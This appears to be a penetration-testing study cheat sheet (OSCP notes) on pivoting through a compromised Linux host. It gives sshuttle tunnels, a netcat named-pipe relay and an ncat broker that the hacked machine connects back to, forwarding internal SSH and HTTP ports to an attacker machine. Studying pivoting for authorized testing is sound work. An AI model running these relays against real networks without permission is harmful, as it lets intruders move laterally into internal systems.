oscp/Necronomicon/Linux/Port Forwarding.md

• sshuttle
  • sshuttle -r username@sshserver 0.0.0.0/0 -vv
  • sshuttle -r username@sshserver 0/0 -vv
  • sshuttle --dns -vvr username@sshserver 0/0
• Using netcat to foward internal traffic
  • On remote host - setup listener by creating backpipe
    • mkfifo pipe
    • mknod pivot p
  • Setup listener on pivot machine to forward an internal machine's port
    • nc -l -p 9001 0<pivot | nc <internal-rhost> <i-rhost-port> 1>pivot
    • nc -l -p 9001 0<pivot | nc 172.16.50.222 22 1>pivot
  • check that you can use see the interface open on the external machine
    • nmap -p 22 9001 rhost OR nmap -p 22 172.1.1.1
• Ncat port fowwarder (with listener on attacking lhost machine instead of external hacked machine)
  • On attacker machine
    • ncat -lv --broker -m2 <port-number>
    • ncat -lv --broker -m2 8900
  • On pivot machine
    • ncat -v <attack-lhost-ip> <attacker-lport> -c "nc -v <internal-rhost-to-pivot-to> <port-on-final-rhost>
    • ncat -v 10.13.37.10 8900 -c "nc -v 172.16.50.222 80"
  • View traffic
    • curl http://localhost:8900
    • ssh user@localhost -p 8900